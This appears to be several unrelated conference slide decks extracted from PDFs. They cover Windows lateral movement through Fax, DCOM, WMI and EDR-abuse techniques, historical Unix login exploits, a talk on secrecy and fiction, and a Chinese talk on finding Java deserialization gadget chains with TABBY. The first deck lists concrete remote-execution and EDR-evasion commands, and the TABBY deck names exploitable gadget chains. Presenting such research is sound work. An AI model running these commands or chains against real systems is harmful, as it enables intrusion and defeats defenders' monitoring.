FriendlyName -vt REG_SZ -vd 'Legit Fax Provider' reg.py same add -keyName "HKLM\\Software\\Microsoft\\Fax\\Device Providers\\{fdd90a36-8160- 49b5-af34-3843e4c06417}" -v ProviderName -vt REG_SZ -vd 'Legit Fax Provider' reg.py same add -keyName "HKLM\\Software\\Microsoft\\Fax\\Device Providers\\{fdd90a36-8160- 49b5-af34-3843e4c06417}" -v ImageName -vt REG_EXPAND_SZ -vd 'C:\dummy.dll' reg.py same add -keyName "HKLM\\Software\\Microsoft\\Fax\\Device Providers\\{fdd90a36-8160-4 9b5-af34-3843e4c06417}" -v APIVersion -vt REG_DWORD -vd 65536 # start the service and triggers the payload services.py same start -name fax RPC –WHAT THE FAX Caveats: ▪ Will execute as NETWORK SERVICE – needs other exploit for full compromise ▪ The process FXSSVC.exe will die immediately RPC –WHAT THE FAX You can easily change the user account associated with the FAX service (thanks cube0x0) and avoid the escalation problem. This clearly creates additional artefacts as you would need to change the service configuration via specific RPC calls. # change service config services.py ./developer:password@192.168.232.133 change -start_name "NT AUTHORITY\SYSTEM" -name fax # revert services.py ./developer:password @192.168.232.133 change -start_name "NT AUTHORITY\NetworkService" -name fax RPC –WHAT THE FAX Can create FaxServer.FaxServer COM object and invoke the Connect method locally via Outlook COM: $a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("0006F033-0000- 0000-C000-000000000046", ”REMOTE")) $fax = $a.CreateObject(”FaxServer.FaxServer") $fax.Connect(”.”) We will use the Outlook object again in the next sections 👀 RPC –FAX RPC NETTCPPORTSHARING RPC -NETTCPPORTSHARING NetTcpPortSharing is a .NET based service that exists in most Windows systems. By default it’s disabled and configured to run as a virtual service account. The target binary is located at C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe .NET binary? Appdomain Manager Injection RPC -NETTCPPORTSHARING All you need to do is: ▪ Drop a DLL in C:\Windows\Microsoft.NET\Framework64\v4.0.30319 ▪ Modify the existing SMSvcHost.exe.config to specify the custom Appdomain Manager ▪ Enable and start the service RPC -NETTCPPORTSHARING ▪ A small caveat is that the service by default is running as a virtual service account ▪ However, it is pretty simple to use ChangeServiceConfig2A to reconfigure the privileges needed ChangeServiceConfig2A RPC Filesystem Artefacts Host Artefacts Network Artefacts Prevalence - IoC NetTcpPortSharing Uploads a binary on disk Creates a new Registry Keys Directly connect to create and trigger the execution Unknown technique Fax Uploads a binary on disk Creates a new Registry Keys Directly connect to create and trigger the execution Unknown Technique a.k.a I don’t know what COM is but somehow I can pop calc DCOM BASED EXECUTION METHODS Distributed Component Object Model (DCOM) is a technology that allows the creation of COM objects on network endpoints and invoke methods that will be executed on a remote host. Popular methods used in the past for DCOM lateral movement: ▪ ShellBrowser ▪ Excel ▪ InternetExplorer ▪ MMC20 DCOM DCOM CONTROLPANELITEM We can use ShellWindows.Application.ControlPanelItem to execute a CPL file. Haven’t seen this being abused before (?) DCOM -CONTROLPANELITEM https://docs.microsoft.com/en-us/windows/win32/shell/shell-controlpanelitem In a nutshell, CPL files are DLLs that export a function called CPlApplet. DCOM -CONTROLPANELITEM Plenty of open source projects aimed at weaponizing this file format, such as: https://github.com/rvrsh3ll/CPLResourceRunner The actual attack: $a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8- 11CF-A442-00A0C90A8F39”, ”target”)) $i = $a.Item() $i.Document.Application.ControlPanelItem("C:\Users\Developer\source\repos\DummyC PL\x64\Release\DummyCPL.cpl") DCOM -CONTROLPANELITEM The A.C.T.U.A.L. attack: $a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("0006F033-0000- 0000-C000-000000000046", "192.168.232.133")) # Outlook.Application $shell = $a.CreateObject("Shell.Application") $shell.ControlPanelItem(”C:\dummy.cpl”) DCOM -CONTROLPANELITEM Anomalous process tree when executing this technique: ▪ Outlook spawned with –Embedding ▪ Outlook spawns control.exe ▪ Control.exe spawns rundll32 Pretty easy to spot, if you’re looking for it. DCOM -CONTROLPANELITEM DCOM $EDR-VENDOR “””Fun””” fact! $EDR-VENDOR registers a COM server that allows you to arbitrarily load a PowerShell script from disk 😱 However, it requires Administrative access (high integrity token) and by default cannot be launched remotely due to this configuration DCOM –$EDR-VENDOR Luckily for us, this can be bypassed in at least two ways: ▪ Programmatically modify the DCOM launch permissions using remote registry (untested but demonstrated by other researchers, see ref below) ▪ Abuse the same Outlook COM object to delegate the creation of the $EDR-vendor object locally -> Spoiler, it worked. DCOM –$EDR-VENDOR https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/ # instantiates Outlook COM $a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("0006F033-0000-0000- C000-000000000046", ”REMOTE")) # Creates the target object $shell = $a.CreateObject(“$vendor-sus-method") # set up dummy var [String[]] $TestArray = "" $dummy = "" # lmao $shell.InvokeScript("C:\Users\Public\Desktop\test.ps1",$TestArray, $ dummy) DCOM –$EDR-VENDOR DCOM DLLHIJACK An approach is to look for programs that can be executed via DCOM but are also vulnerable to DLL hijacking. The process to discover using ProcMon + OleviewDotNet is simple: ▪ Find all the CLSID by server ▪ Find something that looks odd ▪ Open ProcMon and filter for NAME NOT FOUND ▪ Instantiate an object of the target class DCOM –HIJACK https://www.mdsec.co.uk/2020/10/i-live-to-move-it-windows-lateral-movement -part-3-dll-hijacking/ DCOM –HIJACK CoBrmEngine’s COM object is at CLSID 494C063B-1024-4DD1-89D3- 713784E82044. Missing VERSION.dll in C:\windows\system32\spool\tools DCOM –HIJACK ON COBRMENGINE DCOM –HIJACK ON COBRMENGINE DCOM –HIJACK ON COBRMENGINE Execution happens in the PrintBrmEngine.exe process, that gets spawned with the –Embedding command line argument. DCOM Filesystem Artefacts Host Artefacts Network Artefacts Prevalence - IoC DCOM - CPL Uploads a binary on disk Creates a new Registry Keys Directly connect Less known technique DCOM - $EDR- VENDOR Uploads a PowerShell script on disk None Directly connect Unknown Technique DCOM – DLL Hijack Uploads a binary on disk None Directly connect Less Known Technique – potentially unknown DCOM MMC20 BACK FROM THE DEAD MMC20.Application.Document.SnapIns.Add() takes a string as an input and loads a SnapIn. DCOM –MMC20 BACK FROM THE DEAD ▪ It turns out that it’s not that hard to create a custom SnapIn, and of course MSDN comes into rescue! ▪ MSDN - How-To Create a Hello World Snap-in ▪ The registration of a new SnapIn is mostly based on registry operations DCOM –MMC20 BACK FROM THE DEAD ▪ We can then invoke the Add method and our DLL will be loaded by MMC.exe DCOM –MMC20 BACK FROM THE DEAD ▪ Our assembly will get loaded and we can finally enjoy some shells DCOM –MMC20 BACK FROM THE DEAD DCOM Filesystem Artefacts Host Artefacts Network Artefacts Prevalence - IoC DCOM – MMC20 Snapin Uploads a binary on disk Creates a new Registry Keys Directly connect to create and trigger the task Unknow technique DCOM BONUS DCOM –BLOCK EDR CONNECTIONS It is also possible to remotely configure the Windows Firewall and instruct it to deny outbound connections that are originated from specific binaries! The COM objects we will use are HNetCfg.FwPolicy2/FwMgr DCOM –BLOCK EDR CONNECTIONS DCOM –BLOCK EDR CONNECTIONS WMI BASED EXECUTION METHODS WMI Event Subscription are composed by: ▪ An event filter – a WQL query that filters event and looks for a specific condition ▪ An event consumer - The action we want to take when the event is fired ▪ An event binder - The binding of a filter and a consumer WMI Event subscriptions can be used for both persistence and lateral movement, as documented by others and more recently by MDSec. WMI –EVENT SUBSCRIPTION https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement- part-1-wmi-event-subscription/ The power of this technique lies in the fact that as an event consumer, we can specify Jscript or VBS – meaning that we can use GadgetToJScript to load arbitrary .NET assemblies in memory and we can avoid touching the disk entirely. No PoC of this specific chain existed, so I made one: https://github.com/RiccardoAncarani/LiquidSnake WMI –EVENT SUBSCRIPTION WMI –EVENT SUBSCRIPTION The flow is pretty simple: 1. The attacker creates a malicious WMI Event Sub on a remote host, that will trigger when an authentication attempt happens and will load our .NET module 2. The event subscription is triggered manually using DCOM 3. The loaded .NET assembly waits on a named pipe 4. The attacker sends the final beacon shellcode over the pipe remotely WMI –EVENT SUBSCRIPTION WMI –EVENT SUBSCRIPTION Filesystem Artefacts Host Artefacts Network Artefacts Prevalence - IoC LiquidSnake None Creates a new WMI Event Subscription Directly connect to create and trigger the task Less known technique WMI ROGUE PROVIDERS As documented by Cybereason, it is possible to register a rogue WMI provider in order to execute arbitrary commands or load specific DLLs. Since WMI providers are implemented as COM objects, we can create some registry keys and load the provider dynamically: ▪ We can create a LocalServer32 entry to execute a command ▪ We can create a InProcServer32 to load an arbitrary DLL WMI –ROGUE PROVIDERS https://www.cybereason.com/blog/wmi-lateral-movement-win32 Adding a new COM object in the registry can be easily done via Remote Registry or WMI: WMI –ROGUE PROVIDERS Registration and loading of the provider can be done via WMI: WMI –ROGUE PROVIDERS Can be achieved with: ▪ LocalServer32 ▪ InProcServer32 P.S: Use DLL’s DETACH to avoid process being killed WMI –ROGUE PROVIDERS WMI –ROGUE PROVIDERS Filesystem Artefacts Host Artefacts Network Artefacts Prevalence - IoC Rogue Provider – LocalServer32 DLL/PE/msbuild on disk Creates a new WMI Provider Directly connect to create and trigger the load of the provider Less known technique Rogue Provider – InProcServer32 DLL on disk DLL/PE/msbuild on disk Directly connect to create and load of the provider Less known technique WE’RE ALMOST DONE! C2 –C3? C3 is aimed at breaking these patterns by using unconventional and indirect communication media, such as: ▪ File share, works with RDP shared drives as well ▪ LDAP ▪ Printers ▪ VMWare, wtf? Not the right place for a C3 deep dive, for reference see the BlackHat’s talk Breaking Network Segregation Using Esoteric Command & Control Channels CONCLUSIONS The main takeaways from the talk are: ▪ You can use most of the persistence techniques with minimal re-adaptation to achieve lateral movement. This will decouple the deployment of the payload with its execution, massively decreasing detection opportunities. ▪ Every technique can be seen as a combination of primitives, like uploading a payload, creating something (service, task, process) and executing it. Look for the techniques that reduce the number of primitives required.
pdf
LIFE OF CODER QUESTION 1 int a = 5, b = 7, c; c = a+++b; (A) A=6, C=10 (B) B=7, C=10 (C) A=6, C=12 QUESTION 2 char str[]="startrek"; char *p=str; int n=10; A=sizeof(str); B=sizeof(p); C=sizeof(n); (A) A=8, C= 4 (B) B=4, C=1 (C) A=9, C=4 QUESTION 3 unsigned long *i; unsigned long *j; unsigned long sum; sum=0; i = 1000; j = 3000; for(; i < j; i+= sizeof(unsigned long)) { sum++; } (A) sum=2000 (B) sum=500 (C) sum=125 ENTERPRISE NC-1701 void sys_wrapspeed() { starship_status = get_starship_status(); if (starship_status == STOP) { disable("FIXATOR"); disable("BREAK"); disable("THRUSTER"); disable("IMPULSE"); } do_wrapspeed(); } FREEBSD LIBEXEC/RTLD-ELF/RTLD.C void _rtld () { trust = !issetugid(); if (!trust) { unsetenv(LD_ "PRELOAD"); unsetenv(LD_ "LIBMAP"); unsetenv(LD_ "LIBRARY_PATH"); unsetenv(LD_ "LIBMAP_DISABLE"); unsetenv(LD_ "DEBUG"); unsetenv(LD_ "ELF_HINTS_PATH"); } return; } ID4, 1996 The gift alien gave SOB BBS remote overflow exploit Sendmail local root exploit - Ghost5, 1997  inetd telnetd login bbsrf bbsd telnet telnet RFC931(ident) “RFC931” “RFC931” “RFC931” “RFC931” AIX - MAY, 1994 When I told one of our on-site IBM droids about this, he didn't believe it. "No way, the goverment buys these machines because they're Class B secure!" So I showed him... I also saw an IBM spokesperson describe this in a trade publication as requiring "a complex series of commands". - Mark Scheuern % rlogin -l -froot aix.machine # SUNOS - FEB, 2007 0day was the case that they gave me - kingcope inetd telnetd login shell telnet “-fbin” “-fbin” “-f” “bin” /* * If we're handed a bigger struct than we know of, * ensure all the unknown bits are 0. */ if (size > sizeof(*attr)) { unsigned long val; unsigned long __user *addr; unsigned long __user *end; addr = PTR_ALIGN((void __user *)uattr + sizeof(*attr), sizeof(unsigned long)); end = PTR_ALIGN((void __user *)uattr + size, sizeof(unsigned long)); for (; addr < end; addr += sizeof(unsigned long)) { ret = get_user(val, addr); if (ret) return ret; if (val) goto err_size; } } QUESTION 3 unsigned long *i; unsigned long *j; unsigned long sum; sum=0; i = 1000; j = 3000; for(; i < j; i+= sizeof(unsigned long)) { sum++; } (A) sum=2000 (B) sum=500 (C) sum=125 static void sw_perf_event_destroy(struct perf_event *event) { u64 event_id = event->attr.config; static_key_slow_dec(&perf_swevent_enabled[event_id]); swevent_hlist_put(event); }  static int perf_swevent_init(struct perf_event *event) { int event_id = event->attr.config; /* ... */ if (event_id >= PERF_COUNT_SW_MAX) return -ENOENT; /* ... */ atomic_inc(&perf_swevent_enabled[event_id]); /* ... */ } CVE-2013-2094 /* * linux 2.6.37-3.x.x x86_64, ~100 LOC * gcc-4.6 -O2 semtex.c && ./a.out * 2010 sd@fucksheep.org, salut! * * update may 2013: * seems like centos 2.6.32 backported the perf bug, lol. */ SOFTWARE ENGINEERING CODE OF ETHICS AND PROFESSIONAL PRACTICE If there are two or more ways to do something, and one of those ways can result in a catastrophe, then someone will do it. - Murphy's Law There are two ways of constructing a software design: One way is to make it so simple that there are obviously no deficiencies, and the other way is to make it so complicated that there are no obvious deficiencies. The first method is far more difficult. - C.A.R.Hoare Bugs in your software are actually special features  MIM-104 PATRIOT VS SCUD void function(int i, int j) { increase(i,10); if (j > 0) increase(j, 1); } void function(int i, int j) { if (j > 0) increase(i,1); else increase(i,10); } void market(int BUN, int WATERMELON) { buy(BUN,10); if (see(WATERMELON) == TRUE) buy(WATERMELON, 1); } void market(int BUN, int WATERMELON) { if (see(WATERMELON) == TRUE) buy(BUN,1); else buy(BUN,10); } 老婆:"下班後買十個包子回來,如 果看到賣西瓜的就買一個。" 老公:"好。" ……………………………………………… 老婆:"為什麼只有一個包子?" 老公:"因為我看到賣西瓜的。" THANK YOU REFERENCES •  http://www.securityfocus.com/bid/458/info •  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0113 •  http://archives.neohapsis.com/archives/bugtraq/1994_3/0100.html •  http://pwnies.com/archive/2007/winners/ •  http://determina.blogspot.tw/2007/02/1994-called-it-wants-its-bug-back.html •  Software Engineering Code of Ethics and Professional Practice (http://www.ics.uci.edu/~redmiles/ics131-FQ03/week08ethics/IEEE-ACM-Ethics.PDF)
pdf
RICHARD THIEME THIEMEWORKS WWW.THIEMEWORKS.COM rthieme@thiemeworks.com neuralcowboy@gmail.com PO Box 170737 Milwaukee WI 53217-8061 THE ONLY WAY TO TELL THE TRUTH IS THROUGH FICTION THE DYNAMICS OF LIFE IN THE NATIONAL SECURITY STATE " It's no wonder how complicated things get, what with one thing leading to another." ... E. B. White http://www.thiemeworks.com/zero-day-roswell/ … http://www.washingtonsblog.com/2014/01/american-british-spy-agencies-intentionally-weakened-security-many-decades.html?utm_content=bufferd7637&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer … "When democracy relies on entertainment to provide knowledge of its secret affairs, the contradictions of empire are "normalized to invisibility" thru a blurring of fictional and real operations." - Timothy Melley, The Covert Sphere Project Blue Book The USAF creates Project Blue Book in 1952. Dr. J. Allen Hynek, Northwestern University astronomer, is retained as a resource scientist. The CIA gets involved and concludes a study: - Flying saucers are not a threat to national security but reports of flying saucers are. - Military personnel should be trained in proper observation of flying saucers. - Programs should be created to debunk flying saucers to the citizenry. Fast forward to Hynek when he created CUFOS in 1973 (The Center for UFO Studies) as an independent organization because he became disillusioned with the USAF: "The public was, in fact, placed in the role of 'the enemy,' against whom 'counterespionage' tactics must be employed. From my personal experience, I frequently felt that those in charge did consider people who reported UFOs or who took a serious interest in them and wanted information about them, as enemies." (UFOs and Government: A Historical Inquiry, p. 243) Selected Bibliography Selected Bibliography Mind Games by Richard Thieme (Duncan Long Publishing: 2010) UFOs and Government: A Historical Inquiry by Michael Swords, Robert Powell, others including Richard Thieme (Anomalist Books: 2012) The Covert Sphere: Secrecy, Fiction, and the National Security State by Timothy Melley (Cornell University Press: 2012) The Cultural Cold War by Frances Stonor Saunders (New Press: 2001) See No Evil: The True Story of a Ground Soldier in the CIA's War Against Terrorism by Robert Baer (Broadway Books: 2003) Total Cold War: Eisenhower’s Secret Propaganda Battle at Home and Abroad by Kenneth Osgood (University Press of Kansas: 2006) The Search for the Manchurian Candidate by John D. Marks (W. W. Norton and Co: 1991) Intelligence: A Novel of the CIA by Susan Hasler (Thomas Dunne Books: 2010) Project Halfsheep: Or How the Agency’s Alien Got High by Susan Hasler (Bear Page Press: 2014) David L. Robb, Operation Hollywood: How the Pentagon Shapes and Censors the Movies (New York: Prometheus, 2004), 91-93. Tricia Jenkins, The CIA in Hollywood: How the Agency Shapes Film and Television(University of Texas Press: 2013) Tricia Jenkins, “Get Smart: A Look At the Current Relationship Between Hollywood and the CIA,” Historical Journal of Film, Radio and Television, Vol. 29, no. 2 June, 2009, 234. Carl Bernstein, “The CIA and the Media,” Rolling Stone, 20 Oct. 1977. Accessible at: http://www.carlbernstein.com/ magazine_cia_and_media.php Central Intelligence Agency, Task Force Report on Greater CIA Openness, 20 Dec., 1991, 6. Report accessible through George Washington University National Security Archived at: http://www.gwu.edu/~nsarchiv/NSAEBB/ciacase/ EXB.pdf Stephen Kinzer The Brothers: John Foster Dulles, Allen Dulles, and Their Secret World War (Times Books: 2013) Elizabeth Lloyd Mayer, Extraordinary Knowing (Bantam Books: 2007) Robert F. Worth, The Spy Novelist Who Knows Too Much (New York Times Magazine: January 30, 2013) - http:// www.nytimes.com/2013/02/03/magazine/gerard-de-villiers-the-spy-novelist-who-knows-too-much.html? pagewanted=all&_r=0 Richard Thieme, Islands in the Clickstream (Syngress: 2004) Richard Thieme, FOAM (coming in 20155 Richard Thieme, A Richard Thieme Reader (coming in 2015) William B. Scott et al, Space Wars: The First Six Hours of World War III, A War Game Scenario (Forge Books: 2010)
pdf
TABBY: Java Code Review like a pro TABBY: Java Code Review like a pro 王柏柱(wh1t3p1g) CONTENTS 目录 1 2 3 Background Find Java Web Vulnerabilities like a pro Find Java Gadget like a pro 4 Find Java RPC Framework Vulnerabilities like a pro Background 01 依靠专家经验人工审计 辅以正则匹配工具 标志性工具: Seay代码审计工具[1] 过程内分析 AST流分析/token流分析/ 简单数据流分析 标志性工具: rips[2],cobra[3] 初期半自动化阶段 过程间分析 跨函数的污点数据流分 析。 标志性工具: GadgetInspector[4]、 fortify[5] 代码数据化 依靠程序分析,生成代码 属性图。 标志性工具:CodeQL[6] 人工审计阶段 代码数据化阶段 后期半自动化阶段 代码审计发展回顾 [1] https://github.com/f1tz/cnseay [2] https://github.com/ripsscanner/rips [3] https://github.com/FeeiCN/Cobra [4] https://github.com/JackOfMostTrades/gadgetinspector [5] https://www.microfocus.com/en-us/cyberres/application-security/static-code-analyzer [6] https://github.com/github/codeql 痛点: 1. 分析成本高,中间的分析结果不可重用 2. 可定制化能力差 痛点: 1. 漏报率高,审计不全面; 2. 工具输出结果繁多,误报率高 现阶段最优解 为什么要有tabby? 面向的场景: CodeQL面向的是甲方场景,可以直接更根据源码进行分析 Tabby面向的是安全研究人员,可以对编译后的项目进行分析 支持的漏洞类型: CodeQL很难支持Java反序列化利用链的挖掘 Tabby可以对项目、三方组件、jdk组件进行利用链的挖掘 定位:Java安全研究人员代码审计的“辅助”工 具 1. 定位图空间中的对象、函数 2. 聚焦可能存在问题的漏洞链路 3. 枚举类似路径的漏洞 时间: Tabby方案实现时间在2020年左右,CodeQL当时只提供了线上体验, 又没有好用的同类工具,那就自己造个轮子! tabby 构架 ⽬标提取器 Target Extractor 语义提取器 Semantic Extractor 污点分析引擎 Taint Analysis Engine 代码属性图构建器 CPG Constructor War、Jar、Jsp、Class 内存数据 1. 类空间 2. 函数空间 3. 污点分析中间数据 面向Java语言的代码属性图 贯 穿 构 建 流 程 目标提取器 Target Extractor 目标提取器 针对不同情况的目标文件,完整抽取所 有待分析的对象: 1. Jsp文件采用tomcat-jasper动态编译 2. War文件采用解压缩的方式抽取 3. fatJar文件采用解压缩方式抽取 另外,jdk依赖可额外添加到分析目标中 语义提取器 Semantic Extractor 语义提取器 在进行语义分析前,语义提取器将待分析 目标的语义信息抽取成语义空间: 1. 类空间:包含全量对象语义节点 2. 函数空间:包含全量函数语义节点 至此,我们获得了包含全量节点的语义空 间,但每个节点之间仍是孤立状态 代码属性图构建器 CPG Constructor 代码属性图构建器 代码属性图构建器主要用于连接语 义空间中各个孤立的节点,将其转 化为一张具备分析能力的语义图。 面向Java语言的代码属性图共包含: 1. 类关系图 ORG 2. 函数别名图 MAG 3. 函数调用图 MCG 4. 精确的函数调用图 PCG (可选) 存在实体节点: 1. Class 节点 2. Method 节点 存在5种实体边: 1. Has边 2. Interface边 3. Extends边 4. Alias边 5. Call边 [1] Martin M, Livshits B, Lam M S. Finding application errors and security flaws using PQL: a program query language[J]. Acm Sigplan Notices, 2005, 40(10): 365-383. [2] Yamaguchi F, Golde N, Arp D, et al. Modeling and discovering vulnerabilities with code property graphs[C]//2014 IEEE Symposium on Security and Privacy. IEEE, 2014: 590-604. [3] Backes M, Rieck K, Skoruppa M, et al. Efficient and flexible discovery of php application vulnerabilities[C]//2017 IEEE european symposium on security and privacy (EuroS&P). IEEE, 2017: 334 代码属性图构建器 |类关系图 ORG 类关系图 用于描述对象自身的相关信息以及同其他对 象之间的关系。 关系包括: 1. 类与函数之间的归属关系has 2. 类与接口之间的实现关系interface 3. 类与类之间的继承关系extends Object Relation Graph 函数别名图 描述某一函数所有具体实现的语义图。函数别 名图主要用于Java语言多态特性的分析场景。 多态的特性导致了调用过程的断裂,而MAG做 的就是修补断裂点,使其能完整分析所有链路。 关系包括: 1. 函数与函数之间的别名关系alias Alias边的集合是一个树状结构,树顶为interface 或顶层类型;树枝为当前树顶函数的具体实现。 Method Alias Graph 代码属性图构建器 |函数别名图 MAG 代码属性图构建器|函数别名图 MAG 基于图数据库的代码分析方法: 分析能力下放到图数据库 由图数据库进行路径检索时,边剪枝边枚举所有实现 ->缓解路径爆炸问题 传统程序分析的做法: 内存中枚举所有函数实现 ->路径爆炸问题 代码属性图构建器|函数调用图MCG 函数调用图 MCG描述函数与函数之间的调用关系图,利用有向的调用关系,可查询出一 条有效的函数调用路径。 PCG描述了更为精确的函数调用图,遗弃了不可控的函数调用。 关系包括: 1. 函数与函数之间的调用关系call Method Call Graph 污点分析引擎 Taint Analysis Engine 污点分析引擎 污点分析引擎是tabby实现最核心的部分 它实现了从“代码属性图”至“带语义信息的代码属性图”的跨越, 使得图数据库具备程序分析的基础。 Tabby重新设计了适合图数据库的污点分析算法: 化整为零 1. 单函数过程内分析算法,生成相应污点信息 2. 跨函数过程间分析算法,应用污点信息避免重复计算 化零为整 1. 依据图数据库路径检索能力,重建调用链路 2. 利用调用边污点信息,边剪枝边构建链路,缓解路径爆炸 问题 Taint Analysis Engine 路径爆炸问题 重复计算问题 污点分析引擎|过程内分析案例 类型 语句stmt 规则 简单赋值 a = b; b变量的可控性传递给a变量 新建变量 a = new statement a变量原有的可控性消除,并生成新的实体值 类属性赋值 a.f = b; b变量的可控性传递给a变量的f属性 类属性载入 a = b.f; b变量的f属性的可控性传递给a变量,创建f属性的实体值 静态类属性赋值 Class.field = b; b变量的可控性传递给静态变量Class.field 静态类属性载入 a = Class.field; 静态变量Class.field的可控性传递给a变量,创建新的实体值 数组赋值 a[i] = b; b变量的可控性传递给a变量的第i个元素 数组载入 a = b[i]; b变量的第i个元素的可控性传递给a变量 强制转化 a = (T) b; 同简单赋值一样 赋值函数调用 a = b.func(c); b.func函数返回值的可控性传递给a变量,通常与b变量和入参c变量的可控性 有关。 函数调用 b.func(c) 返回值无关的函数调用,func函数内容决定入参c和b变量本身的可控性。 函数返回 return stmt 当前函数的返回值,其可控性依赖于stmt所返回变量的可控性。 污点分析引擎|化整为零 跨函数的过程间分析转化为 “调用边上污点信息” 同 “调用函数的语义缓存” 比较 利用逆拓扑排序算法,巧妙地将过程间分析“转化”为类过程内分析 同时也解决了重复计算分析的问题 分而治之的方式,也在一定程度上缓解了程序分析过程中路径爆炸的问题 污点分析引擎|化整为零 使用gadgetinspector的方案时 面对重复计算的情况,忽略了入参所发生的变化 导致入参在后续的分析中将产生 误报 或 漏报 GadgetInspector分析案例 污点分析引擎|化整为零 污点分析引擎|化零为整 可控性标识 意义 -3 表示变量不可控 -2 表示变量来源于sources -1 表示变量来源于调用者本身 0-n 表示变量来源于函数参数列表 Tabby的污点推算规则共依靠两块语义信息: 1. 调用边上的污点信息 2. 预置sink函数的污点信息 污点推算规则 污点分析引擎|化零为整 污点分析引擎 | 化零为整 tabby path finder 小结 look bigger Find Java Gadget like a pro 02 Find Java Gadget like a pro Java反序列化漏洞 2015年Frohoff以及FoxGlove Security团队发表了关于Java反序列化漏洞原理以及利用方式。 Java反序列化漏洞其本质是“不安全的反序列化”,攻击者构造恶意的序列化数据用于正常的 反序列化功能,从而导致本不该被访问的对象被调用执行。 可控的Java反序列化触发点 如ObjectInputStream的输入数据是 可控的,且后续调用了readObject 函数 有效的Java反序列化利用链 利用当前项目的开源基库构造有 效的序列化链,该链可最终达成 危险函数或对象的调用执行 最终的利用达成 通过有效的利用链,使得应用可 任意调用危险函数或对象的执行, 如Runtime的exec函数,用于执行 系统命令。 Find Java Gadget like a pro | XStream XStream反序列化利用链source特征: 1. 存在5种Magic method 2. 无Serializable限制,甚至可还原Method对象 Converters 可利用的还原对象 Magic Method SerializableConverter Serializable对象 readObject CollectionConverter HashSet、LinkedHashSet hashCode、equals MapConverter HashMap hashCode、toString[1] TreeSet/TreeMapConverter TreeSet、TreeMap compareTo, compare 构造source限制语句 反序列化利用链最终达成的效果常为如下几个sink函数: 1. 反射调用任意函数,Method.invoke 2. JNDI连接,lookup或更底层的函数 3. 文件操作,如任意文件写的相关函数 构造sink限制语句 构造tabby路径检索函数调用 [1] https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/ToStringUtil.java#L Find Java Gadget like a pro | XStream 追加限制条件 Gadget: (CVE-2021-21346) javax.swing.MultiUIDefaults#toString javax.swing.MultiUIDefaults#get javax.swing.UIDefaults#get javax.swing.UIDefaults#getFromHashtable javax.swing.UIDefaults$LazyValue#createValue sun.swing.SwingLazyValue#createValue java.lang.reflect.Method#invoke javax.naming.InitailContext#doLookup Find Java Gadget like a pro | XStream 依据先验知识,挖掘新利⽤链 Find Java Gadget like a pro | XStream XStream 1.4.17 黑名单 对象字符黑名单 对象正则黑名单 非法继承黑名单 Find Java Gadget like a pro | XStream XStream 1.4.16 绕过 CVE-2021-29505 黑名单修复 命中 命中 前半部分依然可用 那么,该怎么利用这半条利用链呢? Find Java Gadget like a pro | XStream CVE-2021-29505 利用链分析 XStream 1.4.17 bypass 转化为寻找合适链路: 1. 函数名nextElement 2.实现了java.util.Enumeration接口 3.存在一条链路能从source到特定sink函数 CVE-2021-39148 com.sun.jndi.toolkit.dir.ContextEnumerator CVE-2021-39147 com.sun.jndi.ldap.LdapSearchEnumeration CVE-2021-39145 com.sun.jndi.ldap.LdapBindingEnumeration 构造source条件 构造sink条件,关注JNDI Find Java Gadget like a pro | XStream Find Java Gadget like a pro 小结 本节分享了两种利用链挖掘的方法,但其实质都在于如何构造好查询语句 https://tabby-db-files.oss-cn-hangzhou.aliyuncs.com/jdk/1.8.0_292/graphdb.mv.db 利用链的挖掘过程转化成了 1. 初始模式识别并转化为cypher语句(序列化机制特征) 2. 不断优化查询语句(添加where限制),不断验证所输出利用链的有效性 Find Java Web Vulnerabilities like a pro 03 Find Java Web Vulnerabilities like a pro 相比利用链的挖掘,Java Web应用的特征识别则相对简单,tabby默认内置了如下的端点识别 Struts类型 JSP类型 Servlet类型 注释类型 Find Java Web Vulnerabilities like a pro 取某著名oa系统依赖库生成代码属性图 nc.bs.framework.server.InvokerServlet#doAction 1. Servlet类型,主动调用serivce函数 2. IHttpServletAdaptor类型,主动调用doAction函数 3. doAction函数,且参数类型为HttpServletRequest、HttpServletResponse 彩蛋在哪里XD 针对常见的Web漏洞,tabby内置了常见 的sink函数,使用VUL标签来区分: • SQLI • SSRF • FILE • FILE_WRITE • CODE • EXEC • XXE • SERIALIZE 除此之外,对于Web漏洞,推荐使用前 向分析,由source函数开始查找至sink函 数 Find Java Web Vulnerabilities like a pro Find Java RPC Framework Vulnerabilities like a pro 04 Find Java RPC Framework Vulnerabilities like a pro Netty类RPC框架实现思路 Find Java RPC Framework Vulnerabilities like a pro com.weibo.api.motan.transport.netty.NettyServer#initServerBootstrap com.weibo.api.motan.transport.netty.NettyDecoder#decode com.weibo.api.motan.protocol.rpc.DefaultRpcCodec#decode com.weibo.api.motan.protocol.rpc.DefaultRpcCodec#decodeRequest Find Java RPC Framework Vulnerabilities like a pro Find Java RPC Framework Vulnerabilities like a pro 已知的Netty通用调用 未知的用户逻辑 已知的反序列化逻辑 Find Java RPC Framework Vulnerabilities like a pro Java原生反序列化调用链 Hessian反序列化调用链 Find Java RPC Framework Vulnerabilities like a pro Hessian利用链 SpringAbstractBeanFactoryPointcutAdvisor Hessian利用链 SpringPartiallyComparableAdvisorHolder 如果目标不出网? 如果目标JDK版本很高? 如果目标不存在原生反序列化利用链? 如何做到hessian to rce? Find Java RPC Framework Vulnerabilities like a pro org.springframework.util.MethodInvoker#invoke Reflection to RCE org.springframework.beans.factory.support.StaticListableBeanFactory#getBean org.springframework.beans.factory.FactoryBean#getObject org.springframework.beans.factory.config.MethodInvokingFactoryBean#getObject org.springframework.beans.factory.config.MethodInvokingBean#invokeWithTargetException org.springframework.util.MethodInvoker#invoke java.lang.reflect.Method#invoke Find Java RPC Framework Vulnerabilities like a pro One More Step! 如果是无spring依赖的情况,如何hessian to rce? Hessian反序列化流程的特征: 1. Magic method 类似Xstream,有equals、toString等函数 2. 无法还原构造好的恶意Iterator、Enumeration、Map、List对象内容 3. 默认使用unsafe初始化对象,无getter、setter调用 4. 